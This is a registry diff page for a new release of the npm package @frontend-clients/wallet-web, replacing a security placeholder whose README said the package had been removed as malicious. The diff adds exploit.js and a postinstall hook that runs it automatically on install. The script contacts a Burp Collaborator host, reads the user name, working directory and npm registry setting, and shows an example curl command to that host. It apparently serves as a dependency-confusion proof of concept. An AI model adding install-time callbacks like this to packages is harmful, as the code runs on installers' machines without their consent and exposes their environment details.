@frontend-clients/wallet-web 0.0.1-security → 8.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @frontend-clients/wallet-web might be problematic. Click here for more details.
- package/exploit.js +25 -0
- package/package.json +7 -3
- package/README.md +0 -5
package/exploit.js
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
|
|
4
|
+
// Your Burp Collaborator URL (replace this)
|
|
5
|
+
const COLLAB_URL = 'https://ppicousivrlgnxk5qoxxs24hx83zrwfl.oastify.com';
|
|
6
|
+
|
|
7
|
+
// ===== SAFE RCE SIMULATION =====
|
|
8
|
+
// 1. Send HTTP request to Collaborator (proof of callback)
|
|
9
|
+
https.get(COLLAB_URL, (res) => {
|
|
10
|
+
console.log(`[+] Collaborator pingback sent! Status: ${res.statusCode}`);
|
|
11
|
+
}).on('error', (err) => {
|
|
12
|
+
console.error('[!] Collaborator error:', err.message);
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
// 2. Simulate command execution (NO REAL COMMANDS RUN)
|
|
16
|
+
console.log('[!] RCE Simulation: Attacker could run arbitrary commands here');
|
|
17
|
+
console.log(`[!] e.g., exec('curl ${COLLAB_URL}')`);
|
|
18
|
+
|
|
19
|
+
// 3. (Optional) Exfiltrate fake "sensitive" data
|
|
20
|
+
const fakeData = {
|
|
21
|
+
user: process.env.USER,
|
|
22
|
+
cwd: process.cwd(),
|
|
23
|
+
npm_config: process.env.npm_config_registry
|
|
24
|
+
};
|
|
25
|
+
console.log('[!] Fake exfiltrated data:', fakeData);
|
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@frontend-clients/wallet-web",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"version": "8.1.4",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"postinstall": "node exploit.js"
|
|
6
|
+
},
|
|
7
|
+
"publishConfig": {
|
|
8
|
+
"access": "public"
|
|
9
|
+
}
|
|
6
10
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40frontend-clients%2Fwallet-web for more information.
|